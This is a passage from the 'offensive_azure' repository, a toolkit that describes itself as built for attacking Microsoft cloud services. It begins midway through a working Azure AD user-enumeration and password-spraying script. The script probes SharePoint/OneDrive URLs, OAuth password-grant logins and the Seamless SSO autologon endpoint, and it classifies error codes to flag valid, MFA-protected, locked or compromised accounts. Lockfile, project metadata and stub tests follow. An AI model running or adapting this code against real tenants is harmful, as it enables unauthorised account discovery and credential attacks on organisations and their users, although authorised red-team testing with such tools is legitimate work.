289 | onedrive_endpoint = f'https://{valid_tenant_name}-my.sharepoint.com' \
290 | f'/personal/{user_domain}/_layouts/15/onedrive.aspx'
291 | user_check = requests.get(onedrive_endpoint)
292 | user_check_status = user_check.status_code
293 | exists = 'INVALID_USER'
294 | if user_check_status in [200, 302, 401, 403]:
295 | exists = 'VALID_USER'
296 | results.append({
297 | 'account': user,
298 | 'exists': exists
299 | })
300 | else:
301 | print(f'{WARNING}[?]{RESET} Valid tenant name was not determined. Exiting.')
302 | sys.exit()
303 |
304 | elif args.method == 'lists':
305 | print(f'{WARNING}[!]{RESET} This will only discover accounts that have M365 licenses')
306 | valid_tenant_name = find_tenant_name(userlist[0], args.method)
307 | if valid_tenant_name:
308 | for user in userlist:
309 | user_domain = user.replace('@','_').replace('.','_')
310 | lists_endpoint = f'https://{valid_tenant_name}-my.sharepoint.com' \
311 | f'/personal/{user_domain}/_layouts/15/Lists.aspx'
312 | user_check = requests.get(lists_endpoint)
313 | user_check_status = user_check.status_code
314 | exists = 'INVALID_USER'
315 | if user_check_status in [200, 302, 401, 403]:
316 | exists = 'VALID_USER'
317 | results.append({
318 | 'account': user,
319 | 'exists': exists
320 | })
321 | else:
322 | print(f'{WARNING}[?]{RESET} Valid tenant name was not determined. Exiting.')
323 | sys.exit()
324 |
325 | elif args.method == 'login':
326 | for user in userlist:
327 | data = {
328 | 'resource': client_id,
329 | 'client_id': client_id,
330 | 'grant_type': 'password',
331 | 'username': user,
332 | 'password': password,
333 | 'scope': 'openid'
334 | }
335 |
336 | endpoint = 'https://login.microsoftonline.com/common/oauth2/token'
337 |
338 | headers = {
339 | 'Content-Type': 'application/x-www-form-urlencoded'
340 | }
341 |
342 | json_response = requests.post(endpoint, headers=headers, data=data).json()
343 |
344 | try:
345 | if json_response['token_type'] == 'Bearer':
346 | exists = 'PWNED'
347 | except KeyError:
348 | response_code = json_response['error_description'].split(':')[0]
349 | if response_code == 'AADSTS50053':
350 | # The account is locked, you've tried to sign in
351 | # too many times with an incorrect user ID or password.
352 | exists = 'LOCKED'
353 | elif response_code == 'AADSTS50126':
354 | # Error validating credentials due to invalid username or password.
355 | exists = 'VALID_USER'
356 | elif response_code in ['AADSTS50076', 'AADSTS50079']:
357 | # Due to a configuration change made by your administrator, or because you moved to a new
358 | # location, you must use multi-factor authentication to access
359 | exists = 'MFA'
360 | elif response_code == 'AADSTS700016':
361 | # Application with identifier '{appIdentifier}' was not found in the directory '{tenantName}'.
362 | # This can happen if the application has not been installed by the administrator of the
363 | # tenant or consented to by any user in the tenant.
364 | # You may have sent your authentication request to the wrong tenant.
365 | exists = 'VALID_USER'
366 | elif response_code == 'AADSTS50034':
367 | # The user account {identifier} does not exist in the {tenant} directory.
368 | # To sign into this application, the account must be added to the directory.
369 | exists = 'INVALID_USER'
370 | elif response_code == 'AADSTS50128':
371 | # Tenant for account does not exist.
372 | exists = 'INVALID_TENANT'
373 | elif response_code == 'AADSTS90072':
374 | # Valid credential, not for this tenant
375 | exists = 'WRONG_TENANT'
376 | elif response_code == 'AADSTS50055':
377 | # User password is expired
378 | exists = 'EXPIRED_PASS'
379 | elif response_code == 'AADSTS50131':
380 | # Login blocked
381 | exists = 'LOGIN_BLOCKED'
382 | elif response_code == 'AADSTS50158':
383 | # Conditional Access
384 | exists = 'CONDITIONAL_ACCESS'
385 | elif response_code == 'AADSTS50056':
386 | # No password
387 | exists = 'NO_PASS'
388 | elif response_code == 'AADSTS80014':
389 | # PTA time exceeded
390 | exists = 'PTA_EXCEEDED'
391 | elif response_code == 'AADSTS50057':
392 | # Account disabled
393 | exists = 'DISABLED'
394 | else:
395 | exists = '???'
396 |
397 | results.append({
398 | 'account': user,
399 | 'exists': exists
400 | })
401 |
402 | elif args.method == 'sso':
403 | for user in userlist:
404 | rand_uuid = client_id
405 | message_id = str(uuid.uuid4()).upper()
406 | username_token = str(uuid.uuid4()).upper()
407 |
408 | domain = user.split("@")[1]
409 |
410 | date = datetime.now(timezone.utc)
411 | created_utc = date.strftime('%Y-%m-%dT%H:%M:%S.%fZ')
412 | expires_utc = (date + timedelta(minutes=10)).strftime('%Y-%m-%dT%H:%M:%S.%fZ')
413 |
414 | endpoint = f'https://autologon.microsoftazuread-sso.com/{domain}/winauth' \
415 | f'/trust/2005/usernamemixed?client-request-id={rand_uuid}'
416 |
417 | xml = f'''
418 |
419 |
420 | http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
421 | {endpoint}
422 | urn:uuid:{message_id}
423 |
424 |
425 | {created_utc}
426 | {expires_utc}
427 |
428 |
429 | {user}
430 | {password}
431 |
432 |
433 |
434 |
435 |
436 | http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
437 |
438 |
439 | urn:federation:MicrosoftOnline
440 |
441 |
442 | http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey
443 |
444 |
445 |
446 | '''
447 |
448 | response = requests.post(endpoint, data=xml)
449 | if response.status_code != 400:
450 | exists: 'PWNED'
451 | else:
452 | xml_response = ET.fromstring(str(response.content, 'utf-8'))
453 | response_code = xml_response[1][0][2][0][1][1].text.split(':')[0]
454 | if response_code == 'AADSTS50053':
455 | # The account is locked, you've tried to sign in
456 | # too many times with an incorrect user ID or password.
457 | exists = 'LOCKED'
458 | elif response_code == 'AADSTS50126':
459 | # Error validating credentials due to invalid username or password.
460 | exists = 'VALID_USER'
461 | elif response_code in ['AADSTS50076', 'AADSTS50079']:
462 | # Due to a configuration change made by your administrator, or because you moved to a new
463 | # location, you must use multi-factor authentication to access
464 | exists = 'MFA'
465 | elif response_code == 'AADSTS700016':
466 | # Application with identifier '{appIdentifier}' was not found in the directory '{tenantName}'.
467 | # This can happen if the application has not been installed by the administrator of the
468 | # tenant or consented to by any user in the tenant.
469 | # You may have sent your authentication request to the wrong tenant.
470 | exists = 'VALID_USER'
471 | elif response_code == 'AADSTS50034':
472 | # The user account {identifier} does not exist in the {tenant} directory.
473 | # To sign into this application, the account must be added to the directory.
474 | exists = 'INVALID_USER'
475 | elif response_code == 'AADSTS50128':
476 | # Tenant for account does not exist.
477 | exists = 'INVALID_TENANT'
478 | elif response_code == 'AADSTS90072':
479 | # Valid credential, not for this tenant
480 | exists = 'WRONG_TENANT'
481 | elif response_code == 'AADSTS50055':
482 | # User password is expired
483 | exists = 'EXPIRED_PASS'
484 | elif response_code == 'AADSTS50131':
485 | # Login blocked
486 | exists = 'LOGIN_BLOCKED'
487 | elif response_code == 'AADSTS50158':
488 | # Conditional Access
489 | exists = 'CONDITIONAL_ACCESS'
490 | elif response_code == 'AADSTS50056':
491 | # No password
492 | exists = 'NO_PASS'
493 | elif response_code == 'AADSTS80014':
494 | # PTA time exceeded
495 | exists = 'PTA_EXCEEDED'
496 | elif response_code == 'AADSTS50057':
497 | # Account disabled
498 | exists = 'DISABLED'
499 | else:
500 | exists = '???'
501 | results.append({
502 | 'account': user,
503 | 'exists': exists
504 | })
505 |
506 | for result in results:
507 | if result['exists'] == 'PWNED':
508 | print(f'{SUCCESS}[+]{RESET} {result["account"]} : {SUCCESS}{result["exists"]}{RESET}')
509 | elif result['exists'] == 'VALID_USER':
510 | print(f'{VALID}[+]{RESET} {result["account"]} : {VALID}{result["exists"]}{RESET}')
511 | elif result['exists'] in ['INVALID_USER','INVALID_TENANT']:
512 | print(f'{DANGER}[-]{RESET} {result["account"]} : {DANGER}{result["exists"]}{RESET}')
513 | else:
514 | print(f'{WARNING}[?]{RESET} {result["account"]} : {WARNING}{result["exists"]}{RESET}')
515 |
516 | # Write our results out to file
517 | with open(outfile, 'w+', encoding='UTF-8') as file:
518 | file.write(json.dumps(results))
519 | file.close()
520 |
521 | if __name__ == '__main__':
522 | main()
523 | sys.exit()
524 |
--------------------------------------------------------------------------------
/offensive_azure/__init__.py:
--------------------------------------------------------------------------------
1 | """Stub"""
2 | __version__ = '0.1.0'
3 |
--------------------------------------------------------------------------------
/poetry.lock:
--------------------------------------------------------------------------------
1 | [[package]]
2 | name = "atomicwrites"
3 | version = "1.4.0"
4 | description = "Atomic file writes."
5 | category = "dev"
6 | optional = false
7 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
8 |
9 | [[package]]
10 | name = "attrs"
11 | version = "21.4.0"
12 | description = "Classes Without Boilerplate"
13 | category = "dev"
14 | optional = false
15 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*"
16 |
17 | [package.extras]
18 | dev = ["coverage[toml] (>=5.0.2)", "hypothesis", "pympler", "pytest (>=4.3.0)", "six", "mypy", "pytest-mypy-plugins", "zope.interface", "furo", "sphinx", "sphinx-notfound-page", "pre-commit", "cloudpickle"]
19 | docs = ["furo", "sphinx", "zope.interface", "sphinx-notfound-page"]
20 | tests = ["coverage[toml] (>=5.0.2)", "hypothesis", "pympler", "pytest (>=4.3.0)", "six", "mypy", "pytest-mypy-plugins", "zope.interface", "cloudpickle"]
21 | tests_no_zope = ["coverage[toml] (>=5.0.2)", "hypothesis", "pympler", "pytest (>=4.3.0)", "six", "mypy", "pytest-mypy-plugins", "cloudpickle"]
22 |
23 | [[package]]
24 | name = "certifi"
25 | version = "2021.10.8"
26 | description = "Python package for providing Mozilla's CA Bundle."
27 | category = "main"
28 | optional = false
29 | python-versions = "*"
30 |
31 | [[package]]
32 | name = "charset-normalizer"
33 | version = "2.0.12"
34 | description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet."
35 | category = "main"
36 | optional = false
37 | python-versions = ">=3.5.0"
38 |
39 | [package.extras]
40 | unicode_backport = ["unicodedata2"]
41 |
42 | [[package]]
43 | name = "colorama"
44 | version = "0.4.4"
45 | description = "Cross-platform colored terminal text."
46 | category = "main"
47 | optional = false
48 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*"
49 |
50 | [[package]]
51 | name = "dnspython"
52 | version = "2.2.1"
53 | description = "DNS toolkit"
54 | category = "main"
55 | optional = false
56 | python-versions = ">=3.6,<4.0"
57 |
58 | [package.extras]
59 | dnssec = ["cryptography (>=2.6,<37.0)"]
60 | curio = ["curio (>=1.2,<2.0)", "sniffio (>=1.1,<2.0)"]
61 | doh = ["h2 (>=4.1.0)", "httpx (>=0.21.1)", "requests (>=2.23.0,<3.0.0)", "requests-toolbelt (>=0.9.1,<0.10.0)"]
62 | idna = ["idna (>=2.1,<4.0)"]
63 | trio = ["trio (>=0.14,<0.20)"]
64 | wmi = ["wmi (>=1.5.1,<2.0.0)"]
65 |
66 | [[package]]
67 | name = "future"
68 | version = "0.18.2"
69 | description = "Clean single-source support for Python 3 and 2"
70 | category = "main"
71 | optional = false
72 | python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*"
73 |
74 | [[package]]
75 | name = "idna"
76 | version = "3.3"
77 | description = "Internationalized Domain Names in Applications (IDNA)"
78 | category = "main"
79 | optional = false
80 | python-versions = ">=3.5"
81 |
82 | [[package]]
83 | name = "more-itertools"
84 | version = "8.12.0"
85 | description = "More routines for operating on iterables, beyond itertools"
86 | category = "dev"
87 | optional = false
88 | python-versions = ">=3.5"
89 |
90 | [[package]]
91 | name = "packaging"
92 | version = "21.3"
93 | description = "Core utilities for Python packages"
94 | category = "dev"
95 | optional = false
96 | python-versions = ">=3.6"
97 |
98 | [package.dependencies]
99 | pyparsing = ">=2.0.2,<3.0.5 || >3.0.5"
100 |
101 | [[package]]
102 | name = "pluggy"
103 | version = "0.13.1"
104 | description = "plugin and hook calling mechanisms for python"
105 | category = "dev"
106 | optional = false
107 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
108 |
109 | [package.extras]
110 | dev = ["pre-commit", "tox"]
111 |
112 | [[package]]
113 | name = "py"
114 | version = "1.11.0"
115 | description = "library with cross-python path, ini-parsing, io, code, log facilities"
116 | category = "dev"
117 | optional = false
118 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*"
119 |
120 | [[package]]
121 | name = "pycryptodome"
122 | version = "3.14.1"
123 | description = "Cryptographic library for Python"
124 | category = "main"
125 | optional = false
126 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*"
127 |
128 | [[package]]
129 | name = "pyparsing"
130 | version = "3.0.8"
131 | description = "pyparsing module - Classes and methods to define and execute parsing grammars"
132 | category = "dev"
133 | optional = false
134 | python-versions = ">=3.6.8"
135 |
136 | [package.extras]
137 | diagrams = ["railroad-diagrams", "jinja2"]
138 |
139 | [[package]]
140 | name = "pytest"
141 | version = "5.4.3"
142 | description = "pytest: simple powerful testing with Python"
143 | category = "dev"
144 | optional = false
145 | python-versions = ">=3.5"
146 |
147 | [package.dependencies]
148 | atomicwrites = {version = ">=1.0", markers = "sys_platform == \"win32\""}
149 | attrs = ">=17.4.0"
150 | colorama = {version = "*", markers = "sys_platform == \"win32\""}
151 | more-itertools = ">=4.0.0"
152 | packaging = "*"
153 | pluggy = ">=0.12,<1.0"
154 | py = ">=1.5.0"
155 | wcwidth = "*"
156 |
157 | [package.extras]
158 | checkqa-mypy = ["mypy (==v0.761)"]
159 | testing = ["argcomplete", "hypothesis (>=3.56)", "mock", "nose", "requests", "xmlschema"]
160 |
161 | [[package]]
162 | name = "python-whois"
163 | version = "0.7.3"
164 | description = "Whois querying and parsing of domain registration information."
165 | category = "main"
166 | optional = false
167 | python-versions = "*"
168 |
169 | [package.dependencies]
170 | future = "*"
171 |
172 | [package.extras]
173 | "better date conversion" = ["python-dateutil"]
174 |
175 | [[package]]
176 | name = "requests"
177 | version = "2.27.1"
178 | description = "Python HTTP for Humans."
179 | category = "main"
180 | optional = false
181 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*"
182 |
183 | [package.dependencies]
184 | certifi = ">=2017.4.17"
185 | charset-normalizer = {version = ">=2.0.0,<2.1.0", markers = "python_version >= \"3\""}
186 | idna = {version = ">=2.5,<4", markers = "python_version >= \"3\""}
187 | urllib3 = ">=1.21.1,<1.27"
188 |
189 | [package.extras]
190 | socks = ["PySocks (>=1.5.6,!=1.5.7)", "win-inet-pton"]
191 | use_chardet_on_py3 = ["chardet (>=3.0.2,<5)"]
192 |
193 | [[package]]
194 | name = "urllib3"
195 | version = "1.26.9"
196 | description = "HTTP library with thread-safe connection pooling, file post, and more."
197 | category = "main"
198 | optional = false
199 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, <4"
200 |
201 | [package.extras]
202 | brotli = ["brotlicffi (>=0.8.0)", "brotli (>=1.0.9)", "brotlipy (>=0.6.0)"]
203 | secure = ["pyOpenSSL (>=0.14)", "cryptography (>=1.3.4)", "idna (>=2.0.0)", "certifi", "ipaddress"]
204 | socks = ["PySocks (>=1.5.6,!=1.5.7,<2.0)"]
205 |
206 | [[package]]
207 | name = "uuid"
208 | version = "1.30"
209 | description = "UUID object and generation functions (Python 2.3 or higher)"
210 | category = "main"
211 | optional = false
212 | python-versions = "*"
213 |
214 | [[package]]
215 | name = "wcwidth"
216 | version = "0.2.5"
217 | description = "Measures the displayed width of unicode strings in a terminal"
218 | category = "dev"
219 | optional = false
220 | python-versions = "*"
221 |
222 | [metadata]
223 | lock-version = "1.1"
224 | python-versions = "^3.8"
225 | content-hash = "056cf6b275692029372200e92f781c03f5f8125cb06c3d354706508acdaf0828"
226 |
227 | [metadata.files]
228 | atomicwrites = [
229 | {file = "atomicwrites-1.4.0-py2.py3-none-any.whl", hash = "sha256:6d1784dea7c0c8d4a5172b6c620f40b6e4cbfdf96d783691f2e1302a7b88e197"},
230 | {file = "atomicwrites-1.4.0.tar.gz", hash = "sha256:ae70396ad1a434f9c7046fd2dd196fc04b12f9e91ffb859164193be8b6168a7a"},
231 | ]
232 | attrs = [
233 | {file = "attrs-21.4.0-py2.py3-none-any.whl", hash = "sha256:2d27e3784d7a565d36ab851fe94887c5eccd6a463168875832a1be79c82828b4"},
234 | {file = "attrs-21.4.0.tar.gz", hash = "sha256:626ba8234211db98e869df76230a137c4c40a12d72445c45d5f5b716f076e2fd"},
235 | ]
236 | certifi = [
237 | {file = "certifi-2021.10.8-py2.py3-none-any.whl", hash = "sha256:d62a0163eb4c2344ac042ab2bdf75399a71a2d8c7d47eac2e2ee91b9d6339569"},
238 | {file = "certifi-2021.10.8.tar.gz", hash = "sha256:78884e7c1d4b00ce3cea67b44566851c4343c120abd683433ce934a68ea58872"},
239 | ]
240 | charset-normalizer = [
241 | {file = "charset-normalizer-2.0.12.tar.gz", hash = "sha256:2857e29ff0d34db842cd7ca3230549d1a697f96ee6d3fb071cfa6c7393832597"},
242 | {file = "charset_normalizer-2.0.12-py3-none-any.whl", hash = "sha256:6881edbebdb17b39b4eaaa821b438bf6eddffb4468cf344f09f89def34a8b1df"},
243 | ]
244 | colorama = [
245 | {file = "colorama-0.4.4-py2.py3-none-any.whl", hash = "sha256:9f47eda37229f68eee03b24b9748937c7dc3868f906e8ba69fbcbdd3bc5dc3e2"},
246 | {file = "colorama-0.4.4.tar.gz", hash = "sha256:5941b2b48a20143d2267e95b1c2a7603ce057ee39fd88e7329b0c292aa16869b"},
247 | ]
248 | dnspython = [
249 | {file = "dnspython-2.2.1-py3-none-any.whl", hash = "sha256:a851e51367fb93e9e1361732c1d60dab63eff98712e503ea7d92e6eccb109b4f"},
250 | {file = "dnspython-2.2.1.tar.gz", hash = "sha256:0f7569a4a6ff151958b64304071d370daa3243d15941a7beedf0c9fe5105603e"},
251 | ]
252 | future = [
253 | {file = "future-0.18.2.tar.gz", hash = "sha256:b1bead90b70cf6ec3f0710ae53a525360fa360d306a86583adc6bf83a4db537d"},
254 | ]
255 | idna = [
256 | {file = "idna-3.3-py3-none-any.whl", hash = "sha256:84d9dd047ffa80596e0f246e2eab0b391788b0503584e8945f2368256d2735ff"},
257 | {file = "idna-3.3.tar.gz", hash = "sha256:9d643ff0a55b762d5cdb124b8eaa99c66322e2157b69160bc32796e824360e6d"},
258 | ]
259 | more-itertools = [
260 | {file = "more-itertools-8.12.0.tar.gz", hash = "sha256:7dc6ad46f05f545f900dd59e8dfb4e84a4827b97b3cfecb175ea0c7d247f6064"},
261 | {file = "more_itertools-8.12.0-py3-none-any.whl", hash = "sha256:43e6dd9942dffd72661a2c4ef383ad7da1e6a3e968a927ad7a6083ab410a688b"},
262 | ]
263 | packaging = [
264 | {file = "packaging-21.3-py3-none-any.whl", hash = "sha256:ef103e05f519cdc783ae24ea4e2e0f508a9c99b2d4969652eed6a2e1ea5bd522"},
265 | {file = "packaging-21.3.tar.gz", hash = "sha256:dd47c42927d89ab911e606518907cc2d3a1f38bbd026385970643f9c5b8ecfeb"},
266 | ]
267 | pluggy = [
268 | {file = "pluggy-0.13.1-py2.py3-none-any.whl", hash = "sha256:966c145cd83c96502c3c3868f50408687b38434af77734af1e9ca461a4081d2d"},
269 | {file = "pluggy-0.13.1.tar.gz", hash = "sha256:15b2acde666561e1298d71b523007ed7364de07029219b604cf808bfa1c765b0"},
270 | ]
271 | py = [
272 | {file = "py-1.11.0-py2.py3-none-any.whl", hash = "sha256:607c53218732647dff4acdfcd50cb62615cedf612e72d1724fb1a0cc6405b378"},
273 | {file = "py-1.11.0.tar.gz", hash = "sha256:51c75c4126074b472f746a24399ad32f6053d1b34b68d2fa41e558e6f4a98719"},
274 | ]
275 | pycryptodome = [
276 | {file = "pycryptodome-3.14.1-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:75a3a364fee153e77ed889c957f6f94ec6d234b82e7195b117180dcc9fc16f96"},
277 | {file = "pycryptodome-3.14.1-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:aae395f79fa549fb1f6e3dc85cf277f0351e15a22e6547250056c7f0c990d6a5"},
278 | {file = "pycryptodome-3.14.1-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:f403a3e297a59d94121cb3ee4b1cf41f844332940a62d71f9e4a009cc3533493"},
279 | {file = "pycryptodome-3.14.1-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:ce7a875694cd6ccd8682017a7c06c6483600f151d8916f2b25cf7a439e600263"},
280 | {file = "pycryptodome-3.14.1-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:a36ab51674b014ba03da7f98b675fcb8eabd709a2d8e18219f784aba2db73b72"},
281 | {file = "pycryptodome-3.14.1-cp27-cp27m-manylinux2014_aarch64.whl", hash = "sha256:50a5346af703330944bea503106cd50c9c2212174cfcb9939db4deb5305a8367"},
282 | {file = "pycryptodome-3.14.1-cp27-cp27m-win32.whl", hash = "sha256:36e3242c4792e54ed906c53f5d840712793dc68b726ec6baefd8d978c5282d30"},
283 | {file = "pycryptodome-3.14.1-cp27-cp27m-win_amd64.whl", hash = "sha256:c880a98376939165b7dc504559f60abe234b99e294523a273847f9e7756f4132"},
284 | {file = "pycryptodome-3.14.1-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:dcd65355acba9a1d0fc9b923875da35ed50506e339b35436277703d7ace3e222"},
285 | {file = "pycryptodome-3.14.1-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:766a8e9832128c70012e0c2b263049506cbf334fb21ff7224e2704102b6ef59e"},
286 | {file = "pycryptodome-3.14.1-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:2562de213960693b6d657098505fd4493c45f3429304da67efcbeb61f0edfe89"},
287 | {file = "pycryptodome-3.14.1-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:d1b7739b68a032ad14c5e51f7e4e1a5f92f3628bba024a2bda1f30c481fc85d8"},
288 | {file = "pycryptodome-3.14.1-cp27-cp27mu-manylinux2014_aarch64.whl", hash = "sha256:27e92c1293afcb8d2639baf7eb43f4baada86e4de0f1fb22312bfc989b95dae2"},
289 | {file = "pycryptodome-3.14.1-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:f2772af1c3ef8025c85335f8b828d0193fa1e43256621f613280e2c81bfad423"},
290 | {file = "pycryptodome-3.14.1-cp35-abi3-manylinux1_i686.whl", hash = "sha256:9ec761a35dbac4a99dcbc5cd557e6e57432ddf3e17af8c3c86b44af9da0189c0"},
291 | {file = "pycryptodome-3.14.1-cp35-abi3-manylinux1_x86_64.whl", hash = "sha256:e64738207a02a83590df35f59d708bf1e7ea0d6adce712a777be2967e5f7043c"},
292 | {file = "pycryptodome-3.14.1-cp35-abi3-manylinux2010_i686.whl", hash = "sha256:e24d4ec4b029611359566c52f31af45c5aecde7ef90bf8f31620fd44c438efe7"},
293 | {file = "pycryptodome-3.14.1-cp35-abi3-manylinux2010_x86_64.whl", hash = "sha256:8b5c28058102e2974b9868d72ae5144128485d466ba8739abd674b77971454cc"},
294 | {file = "pycryptodome-3.14.1-cp35-abi3-manylinux2014_aarch64.whl", hash = "sha256:924b6aad5386fb54f2645f22658cb0398b1f25bc1e714a6d1522c75d527deaa5"},
295 | {file = "pycryptodome-3.14.1-cp35-abi3-win32.whl", hash = "sha256:53dedbd2a6a0b02924718b520a723e88bcf22e37076191eb9b91b79934fb2192"},
296 | {file = "pycryptodome-3.14.1-cp35-abi3-win_amd64.whl", hash = "sha256:ea56a35fd0d13121417d39a83f291017551fa2c62d6daa6b04af6ece7ed30d84"},
297 | {file = "pycryptodome-3.14.1-pp27-pypy_73-macosx_10_9_x86_64.whl", hash = "sha256:028dcbf62d128b4335b61c9fbb7dd8c376594db607ef36d5721ee659719935d5"},
298 | {file = "pycryptodome-3.14.1-pp27-pypy_73-manylinux1_x86_64.whl", hash = "sha256:69f05aaa90c99ac2f2af72d8d7f185f729721ad7c4be89e9e3d0ab101b0ee875"},
299 | {file = "pycryptodome-3.14.1-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:12ef157eb1e01a157ca43eda275fa68f8db0dd2792bc4fe00479ab8f0e6ae075"},
300 | {file = "pycryptodome-3.14.1-pp27-pypy_73-win32.whl", hash = "sha256:f572a3ff7b6029dd9b904d6be4e0ce9e309dcb847b03e3ac8698d9d23bb36525"},
301 | {file = "pycryptodome-3.14.1-pp36-pypy36_pp73-macosx_10_9_x86_64.whl", hash = "sha256:9924248d6920b59c260adcae3ee231cd5af404ac706ad30aa4cd87051bf09c50"},
302 | {file = "pycryptodome-3.14.1-pp36-pypy36_pp73-manylinux1_x86_64.whl", hash = "sha256:e0c04c41e9ade19fbc0eff6aacea40b831bfcb2c91c266137bcdfd0d7b2f33ba"},
303 | {file = "pycryptodome-3.14.1-pp36-pypy36_pp73-manylinux2010_x86_64.whl", hash = "sha256:893f32210de74b9f8ac869ed66c97d04e7d351182d6d39ebd3b36d3db8bda65d"},
304 | {file = "pycryptodome-3.14.1-pp36-pypy36_pp73-win32.whl", hash = "sha256:7fb90a5000cc9c9ff34b4d99f7f039e9c3477700e309ff234eafca7b7471afc0"},
305 | {file = "pycryptodome-3.14.1.tar.gz", hash = "sha256:e04e40a7f8c1669195536a37979dd87da2c32dbdc73d6fe35f0077b0c17c803b"},
306 | ]
307 | pyparsing = [
308 | {file = "pyparsing-3.0.8-py3-none-any.whl", hash = "sha256:ef7b523f6356f763771559412c0d7134753f037822dad1b16945b7b846f7ad06"},
309 | {file = "pyparsing-3.0.8.tar.gz", hash = "sha256:7bf433498c016c4314268d95df76c81b842a4cb2b276fa3312cfb1e1d85f6954"},
310 | ]
311 | pytest = [
312 | {file = "pytest-5.4.3-py3-none-any.whl", hash = "sha256:5c0db86b698e8f170ba4582a492248919255fcd4c79b1ee64ace34301fb589a1"},
313 | {file = "pytest-5.4.3.tar.gz", hash = "sha256:7979331bfcba207414f5e1263b5a0f8f521d0f457318836a7355531ed1a4c7d8"},
314 | ]
315 | python-whois = [
316 | {file = "python-whois-0.7.3.tar.gz", hash = "sha256:656a1100b8757f29daf010ec5a893a3d6349ccf097884021988c174eedea4a16"},
317 | ]
318 | requests = [
319 | {file = "requests-2.27.1-py2.py3-none-any.whl", hash = "sha256:f22fa1e554c9ddfd16e6e41ac79759e17be9e492b3587efa038054674760e72d"},
320 | {file = "requests-2.27.1.tar.gz", hash = "sha256:68d7c56fd5a8999887728ef304a6d12edc7be74f1cfa47714fc8b414525c9a61"},
321 | ]
322 | urllib3 = [
323 | {file = "urllib3-1.26.9-py2.py3-none-any.whl", hash = "sha256:44ece4d53fb1706f667c9bd1c648f5469a2ec925fcf3a776667042d645472c14"},
324 | {file = "urllib3-1.26.9.tar.gz", hash = "sha256:aabaf16477806a5e1dd19aa41f8c2b7950dd3c746362d7e3223dbe6de6ac448e"},
325 | ]
326 | uuid = [
327 | {file = "uuid-1.30.tar.gz", hash = "sha256:1f87cc004ac5120466f36c5beae48b4c48cc411968eed0eaecd3da82aa96193f"},
328 | ]
329 | wcwidth = [
330 | {file = "wcwidth-0.2.5-py2.py3-none-any.whl", hash = "sha256:beb4802a9cebb9144e99086eff703a642a13d6a0052920003a230f3294bbe784"},
331 | {file = "wcwidth-0.2.5.tar.gz", hash = "sha256:c4d647b99872929fdb7bdcaa4fbe7f01413ed3d98077df798530e5b04f116c83"},
332 | ]
333 |
--------------------------------------------------------------------------------
/pyproject.toml:
--------------------------------------------------------------------------------
1 | [tool.poetry]
2 | name = "offensive_azure"
3 | version = "0.4.10"
4 | description = "Collection of tools for attacking Microsoft Cloud products"
5 | authors = ["Cody Martin "]
6 | license = "GPL-3.0"
7 | repository = "https://github.com/blacklanternsecurity.com/offensive-azure"
8 | readme = "README.md"
9 |
10 | [tool.poetry.scripts]
11 | token_juggle = 'offensive_azure.Access_Tokens.token_juggle:main'
12 | device_code_easy_mode = 'offensive_azure.Device_Code.device_code_easy_mode:main'
13 | outsider_recon = 'offensive_azure.Outsider_Recon.outsider_recon:runner'
14 | user_enum = 'offensive_azure.User_Enum.user_enum:main'
15 | read_token = 'offensive_azure.Access_Tokens.read_token:main'
16 | get_groups = 'offensive_azure.Azure_AD.get_groups:main'
17 | get_users = 'offensive_azure.Azure_AD.get_users:main'
18 | get_tenant = 'offensive_azure.Azure_AD.get_tenant:main'
19 | get_group_members = 'offensive_azure.Azure_AD.get_group_members:main'
20 | get_subscriptions = 'offensive_azure.Azure_AD.get_subscriptions:main'
21 | get_resource_groups = 'offensive_azure.Azure_AD.get_resource_groups:main'
22 | get_vms = 'offensive_azure.Azure_AD.get_vms:main'
23 |
24 | [tool.poetry.dependencies]
25 | python = "^3.8"
26 | dnspython = "^2.2.1"
27 | requests = "^2.27.1"
28 | colorama = "^0.4.4"
29 | uuid = "^1.30"
30 | python-whois = "^0.7.3"
31 | pycryptodome = "^3.14.1"
32 |
33 | [tool.poetry.dev-dependencies]
34 | pytest = "^5.2"
35 |
36 | [build-system]
37 | requires = ["poetry-core>=1.0.0"]
38 | build-backend = "poetry.core.masonry.api"
39 |
--------------------------------------------------------------------------------
/tests/__init__.py:
--------------------------------------------------------------------------------
1 | """Stub"""
2 |
--------------------------------------------------------------------------------
/tests/test_offensive_azure.py:
--------------------------------------------------------------------------------
1 | """Stub"""
2 | from offensive_azure import __version__
3 |
4 | def test_version():
5 | """Version assertion"""
6 | assert __version__ == '0.1.0'
7 |
--------------------------------------------------------------------------------